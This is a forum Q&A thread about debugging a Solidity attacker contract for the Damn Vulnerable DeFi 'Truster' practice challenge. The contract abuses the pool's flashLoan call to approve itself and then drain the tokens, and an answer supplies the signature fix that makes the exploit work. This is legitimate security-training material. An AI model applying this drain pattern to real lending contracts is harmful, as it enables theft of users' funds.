I'm practicing 'Damn Vulnerable Defi #3.Truster'. I created Attacker contract and tested truster.challenge.js. But I got an 'Address: low-level call failed' error. Is this error related to functionCall? I also found answer about #3.Truster but there's no difference with my code. What should I do?

  1) [Challenge] Truster
     Error: VM Exception while processing transaction: reverted with reason string 'Address: low-level call failed'
      at TrusterLenderPool.verifyCallResult (@openzeppelin/contracts/utils/Address.sol:212)
      at TrusterLenderPool.functionCallWithValue (@openzeppelin/contracts/utils/Address.sol:132)
      at TrusterLenderPool.functionCall (@openzeppelin/contracts/utils/Address.sol:94)
      at TrusterLenderPool.functionCall (@openzeppelin/contracts/utils/Address.sol:80)
      at TrusterLenderPool.flashLoan (contracts/truster/TrusterLenderPool.sol:36)
      at Attacker.attack (contracts/attacker-contracts/Attacker.sol:16)
      at processTicksAndRejections (internal/process/task_queues.js:95:5)
      at runNextTicks (internal/process/task_queues.js:64:3)
      at listOnTimeout (internal/timers.js:526:9)
      at processTimers (internal/timers.js:500:7)
      at HardhatNode._mineBlockWithPendingTxs (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:1582:23)
      at HardhatNode.mineBlock (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:435:16)
      at EthModule._sendTransactionAndReturnHash (node_modules/hardhat/src/internal/hardhat-network/provider/modules/eth.ts:1494:18)


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../truster/TrusterLenderPool.sol";

contract Attacker{
    function attack(address _pool, address _token) public{
        TrusterLenderPool pool = TrusterLenderPool(_pool);
        IERC20 token = IERC20(_token);

        bytes memory data = abi.encodeWithSignature(
            "approve(address, uint256)", address(this), type(uint256).max

        pool.flashLoan(0, msg.sender, _token, data);

        token.transferFrom(_pool, msg.sender, token.balanceOf(_pool));


  it("Exploit", async function () {
    const attackContract = await ethers.getContractFactory(
    const attack = await attackContract.deploy();
    await attack.attack(this.pool.address, this.token.address);

2 Answers 2


your issue is with the space between parameters in "approve(address, uint256)".

Instead of ...

bytes memory data = abi.encodeWithSignature( "approve(address, uint256)", address(this), type(uint256).max );

Try ...

bytes memory data = abi.encodeWithSignature( "approve(address,uint256)", address(this), type(uint256).max );


I tried to deploy your contract on remix to play with it and debug it, but I got this error:

Error: not found truster/TrusterLenderPool.sol

Maybe you could provide your full code?

The first thing I would check for your error would be the gas limit of the transaction.

Second would be how you're deploying the contract

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.